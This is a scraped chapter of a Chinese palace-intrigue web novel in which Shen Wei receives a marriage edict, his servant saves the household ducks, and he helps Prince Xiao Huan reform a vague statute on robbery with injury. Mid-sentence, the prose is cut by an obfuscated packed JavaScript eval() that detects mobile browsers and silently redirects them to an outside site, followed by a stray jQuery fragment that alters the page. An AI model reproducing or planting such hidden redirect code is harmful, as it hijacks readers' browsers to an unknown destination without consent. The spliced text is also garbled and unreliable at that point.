圣旨是第三日清早到的。
沈国公与夫人匆匆赶到前厅时，沈惟已跪在了蒲团上。宣旨的内侍展开明黄卷轴，念了一长串辞藻华美的骈文，大意无非是嘉宁公主淑慎端良、沈世子品貌兼优，天作之合，择吉日完婚，着礼部协办云云。
沈老国公叩首谢恩，高兴得合不拢嘴。沈夫人也恭谨地接了旨，却悄悄看了儿子一眼。沈惟的嘴角挂着得体的笑容，不像欢喜，倒更像是在想什么别的事情。
待内侍领了赏银离去，沈老国公便忙着吩咐下人备礼回谢、张罗府中事宜，整个国公府像被投入了一颗石子的湖面，涟漪一圈一圈地荡开来。沈惟却像那个扔了石子的人，自己反倒退到岸边，远远瞧着热闹。
他回到院子时，长来正拄着拐杖站在廊下等他。腿脚还没大好，但已丢了一根木杖，换成单拐。见沈惟回来，他眼睛一亮：“世子！圣旨说了什么？是要娶公主吗？殿下说若是圣旨来了让我立刻告诉他，我能不能去……”
“你给我老实待着。”沈惟从他身边经过，头也不回地丢下一句，“腿还没好利索就想往外跑？”
长来瘪了瘪嘴，一瘸一拐地跟在他身后挪进屋里，嘴里嘟嘟囔囔：“那殿下问起来我怎么说……”萧琰这是在他身边放了个眼线，还是光明正大毫不遮掩的眼线。
沈惟坐到书案后，拿起一本没抄完的诗集，随口道：“你就说我接了旨，表情悲伤愤恨，一个人在书房里摔了杯子。”
长来愣住：“可是世子并没有……”
“他问的是我，你照我说的答就行了。”沈惟笔尖一顿，又补了一句：“说我伤心得连午膳都没用。”
长来想了想，便点点头，又往沈惟身边挪了挪，在角落里找了个小杌子坐下。沈惟瞥了他一眼：“你坐这儿干嘛？”
“殿下说了，只要有外人来，我就得待在世子身边盯着，不让别人靠太近。”
沈惟握着笔的手一顿，转过头来，神色微妙：“他原话是什么？”
“殿下说……”长来认真回忆了一下，学着萧琰的样子威严起来，粗声粗气道：“别让那些乱七八糟的人往他跟前凑，看见一个记一个，回头报给我。”
沈惟沉默了片刻，提笔继续抄诗：“那罗琩呢？”
“罗琩哥不算外人。”长来答得理所当然。
沈惟轻哼一声，不再说话。
罗琩起初对长来的出现颇有微词。头一日长来被沈惟带回府时，罗琩站在院门口，眉头皱得死紧。
等沈惟进了屋，他追在后面低声道：“世子，这人来路不明，当街碰瓷，您怎么能说带回来就带回来？若是旁人别有用心……”
“他确实别有用心。”沈惟打断他，语气轻描淡写，“但这用心的底细我都知道。”
罗琩还想再劝，沈惟已摆摆手：“让他留下吧，先在外院养伤，等腿好了再说。”说完便关上了书房的门。
罗琩站在门外，看了看紧闭的门板，又看了看廊下正笨手笨脚用拐杖拨弄花盆里土的长来，长长叹了口气。
然而长来真正让罗琩刮目相看，是在第四日。
事情起于新湖。
那日清早，沈夫人身边的大丫鬟急匆匆来报，说湖东池子里有一只鸭子不明不白地死了，翻着白肚皮浮在水面上，其余鸭子也都蔫头耷脑、不肯进食。
沈夫人一听便紧张起来，当即吩咐：“莫不是闹了瘟疫？赶紧把剩下的都捉出来处理了，别传染到别处去！”
消息传到沈惟耳朵里时，他正在前厅陪母亲用茶。闻言他皱了皱眉：“母亲别急，先看看是怎么回事再说。”
沈夫人忧心忡忡：“如今京城正闹春瘟，虽是鸡鸭禽类，可也马虎不得。我听说有些瘟病从畜生传人的……”
沈惟正要开口，却听门外传来一个怯生生的声音：“世子……能让奴才去看看吗？”
他回头一看，长来正拄着单拐站在厅门外的台阶下，大概是听到消息自己赶过来的，额头还跑出了一层薄汗。
沈夫人看向那瘸腿少年，目光犹疑：“这孩子是……”
“我前两日收的小厮。”沈惟简短道，又对长来扬了扬下巴，“你会看鸭子？”
长来点点头，眼睛里难得透出几分笃定：“奴才小时候在村里养过几年鸭，家禽的病见过不少。”
沈惟便带着他去了栖月湖。长来拄着拐杖蹲在池边，费力地弯腰捞起那只死鸭，翻来覆去仔细看了一遍，又凑近闻了闻，还掰开鸭喙瞧了瞧，才松了口气。
他回头对沈惟说：“世子，不是瘟疫。是食积，吃得太多了，又不活动，肠胃撑坏了。剩下的那些，只要停食一日，喂些清水，再把池子里的淤泥清一清就没事了。”
他怕沈夫人不放心，又补了一句：“这鸭子看着蔫，其实是撑得难受，缓两天就好了。”
沈夫人将信将疑，沈惟却看了长来一眼，目光里浮起一丝意外：“你当真懂这个？”
长来不好意思地挠了挠头：“村里人都知道，鸭子和人一样，不能可劲儿喂。”
沈惟吩咐下去，停食清池。到第二日清晨，池中鸭子果然重新扑腾起翅膀来，嘎嘎叫着浮水觅食，精神抖擞。
原来长来小时候家中是养鸡鸭禽类的。只是他爹好吃懒做，不善经营，日子越过越穷。每日他爹在床上醒酒，都是小长来去喂鸡养鸭，硕果仅存的几只在他的照顾下，日渐长大，小长来却被亲爹卖掉换了米钱。
难怪他择菜时总是下意识摘掉新鲜叶子。日子过得贫苦，好叶子都是给鸭子吃的。废物小厮在栖月湖边，倒是找到了自己的用武之地。
长来还有一桩事做得颇为自鸣得意。
那日沈惟从曲水街回来之后，连着几天洗浴，总觉着浴桶里飘出的气味不大一样。原先国公府惯用的澡豆是桂花调的，清甜温润，是沈夫人特意寻了京城老铺子定制的方子。
可这几日桶中水汽蒸腾起来时，萦绕在鼻尖的却换了一股沉沉的味道。檀木打底，混着一点松脂的苦，还有极淡的雪后青竹被折断时渗出汁液的清冽。
像是有人把一座深山老林里的清晨，碾碎了泡进水里。
沈惟靠在浴桶边沿，热水没过肩膀，水汽氤氲得视线都有些模糊。他低头拨了拨水面，指尖带起几片细碎的花瓣。原先的桂花早已没了踪影，取而代之的是深褐色的药草碎末和几枚不知名的干枯果实，在水底沉浮。
那日在马车里，萧琰将他圈在手臂和车壁之间，俯首嗅他头发时“啧”了一声，沈惟当时只觉得莫名其妙，如今想来，那时萧琰大概便已动了这个心思。
他肩膀埋在热水里，水汽氤氲之下，眼角鼻尖一片红润，今日沐浴格外得久，直到那股冷冽的草木香钻进发丝间，又渗进皮肤里。出浴后他站在铜镜前擦着湿发，低头闻了闻自己的手腕。
檀木的沉厚压着松脂的微苦，尾调里竟还浮动着一丝若有若无的甘甜，像深冬夜里劈开的一截柴薪，火星溅出来时，炸开的那一点暖。
小长来以为自己这事做的隐秘，世子没有察觉。殊不知沈惟不动声色地想象着信王下次闻他头发时的神情，忍不住轻轻弯了弯嘴角，又很快抿平。
没了装病的由头，沈惟便顺理成章地“大病初愈”了。这些日子，沈夫人日日亲自盯着厨房熬制补汤，灌得他觉得自己浑身上下都泛着一股黄芪当归的味道，沈夫人才终于松口放他出门。
礼王的书房在王府东侧，是一处僻静院落，推门进去时，萧焕正坐在书案后，面前铺了满桌的卷宗和朱笔，眉头微蹙，手里捏着一卷竹简，整个人像是被浸在纸墨堆里。
听见脚步声他抬起头来，眉心纹路松了松，朝沈惟招手：“沈惟来了，正好，你过来帮我看看这个。”
沈惟走近书案，低头一看，满桌摊开的都是《晟朝刑统》的抄本，旁边还堆着刑部送来的各地判例摘要。
萧焕拿笔点了点其中一处条目：“这里写的是‘盗贼伤人者，依轻重论罪’。可刑部三年来判下的案子里，同样是盗贼伤人致残，有的判流放三千里，有的判徒刑八年，甚至还有两起只罚了银钱便结案的。”
他忧虑地长叹一口气，两指揉捏着眉心：“仅是一项罪责，便有如此天壤之别的结果。案件中百姓的生死，全在这没有‘轻重’的‘轻重’两字里。”
“王爷，”沈惟斟酌着开口：“晟朝律法承袭前朝已百余年，彼时地广人稀、民风淳朴，条文粗疏尚可应付。可如今晟朝子民数目庞大，领域辽阔，修撰能够适应万民、应变自如的律法并非易事，您切莫过于伤神。”
萧焕摇摇头，抬眼看向站在书案边的沈惟，说道：“律法不正，万民受苦。这些年各地都不断有冤案申诉，各地官员对旧律的执行也全凭个人判断。一想到此事，本王寝食难安。”
沈惟的目光越过案上堆积
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679463|202819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如山的卷宗，瞧见笔筒里秃了头几支朱笔，还有案角早已凉透的茶盏。
他心中不由微微触动：三皇子萧焕不只是争权，他是真心觉得这律法该改，百姓该有公道可讲。
晟朝律法承袭前朝，已有百余年未修订。条款繁复重叠，各地官员解释不一，冤假错案层出不穷。刑部尚书三次上书，晟璟帝终于下旨重修律法。
但此事被视为“朝廷最难的差事”，谁也不愿接，偏三皇子礼王主动请命。
沈惟想了想，说道：“各地民情不同，同样的律文，放在扬州与放在西北，执行起来便大有不同。”
“但以这条‘依轻重论罪’为例，若只留‘依轻重’三个字，便是将裁量权全数下放给地方官员。这样的定罪结果，更多的是官员自身性格和判断，而非全然的法理公正。”
礼王看向他的目光多了几分赞赏：“还是你明白本王的心思。官员清廉正直的，尚且能凭良心断案；若遇上昏聩贪腐的，这条律法便成了他敛财害命的凭据。只是本王左思右想，都不知如何修改更为合适。”
沈惟沉吟片刻，不由想起现代体系完整的法律规定，他在心中打着腹稿，将那些条款换成更适合当下语境的言语，这才开口说道：
“殿下，或许可将‘轻重’二字细拆，具体写明何为‘轻’，又何为‘重’。”
“哦？”三皇子来了兴趣，将手中的笔放在一旁，“你细细说来。”
沈惟：“第一，论伤情之轻重，可分成三等，以医官验伤的结果为准；第二，论动机之善恶，是蓄谋已久还是临时起意，是图财还是仇杀；第三，论事后之态度，是否主动投案，是否赔偿苦主，是否悔过。”
他顿了顿，见萧焕听得入神，便继续道：“三者综合权衡，定出相应的刑罚区间——比如致残者流放两千里至三千里，视上面三条增减；致死者斩监候至秋后处决，依情节轻重而定。”
“这样地方官便有了可循的准绳，也留了裁量的余地，既不会太死板，也不会太随意。”
萧焕的眼睛一点一点亮起来，提笔飞快地将他说的三条记在纸上，又搁下笔，仰头望着沈惟，目光里掺杂着不加掩饰的欣赏：
“我翻了三日卷宗，只觉得处处都是问题，却不知该从何下手。你一来，便把它理出了头绪。”
沈惟笑了笑，略略偏开目光：“不过是旁观者清罢了。王爷身在其中，看得太细反倒失了全局。我只把大框子搭出来，里面要填多少东西，还得王爷和刑部的各位大人慢慢琢磨。”
萧焕将那张纸小心地压平在案角，随口说道：“沈惟，你这一席话，抵得上刑部大人们琢磨个三天。”
沈惟被他夸得有些不自在，微笑着垂下眼帘端起茶盏。君臣二人又就此事细商半响，忽听小厮通报，却是宋绶安同赵景逸也来了府上。
二人进了书房，瞧见礼王和沈惟气氛其乐融融，宋绶安挖苦人的本性又冒了出来，不由酸道：“沈世子终于病好了，连带着殿下脸上笑容也多了。”
赵景逸在一旁“嘶”了一声，用胳膊肘怼了怼宋绶安，微笑着化解：“瞧着是殿下头疼的那条律法有了进展？这些日子我们都为之忧心，却帮不上忙，沈世子一来就有了想法。”
萧焕刚解决了一大难题，正心中畅快，闻言笑道：“正好沈惟在，帮了我大忙。他虽因故未能进学，可其心思机敏，思虑缜密，却真是少有人及。”
宋绶安不服气道：“前几日我也为殿下办了桩大事，您怎得也没这样夸奖我呢？”
经他提醒，沈惟一下子便想到了垂柳巷里的辞枝。说话间，宋绶安也坐在沈惟身旁的圈椅上，把折扇往桌上一搁，眉飞色舞：
“那日我带人冲进去的时候，还真怕扑了个空。谁知那辞枝就在自己屋里坐着，眼睛肿得像核桃，里头还揣着厚厚一沓银票。我问他哪来的，他先是哭，后来便什么也不说了。”
萧焕闻言微微皱眉：“人现在何处？”
“还关着呢。”宋绶安道，“殿下您真是心慈，瞧着昭皇后的面子上，回回都替康王擦屁股。他自己弄丢了赈灾银两，却是您费心调查，又找钱又善后。”
他顿了顿，随手从赵景逸碟子里拈了颗花生扔进嘴里，含糊道：“如今偷银子的男倌也畏罪自尽了，事后康王更不认账了。”
辞枝死了？
他说得轻巧，沈惟脑中却“嗡”地一声炸开了。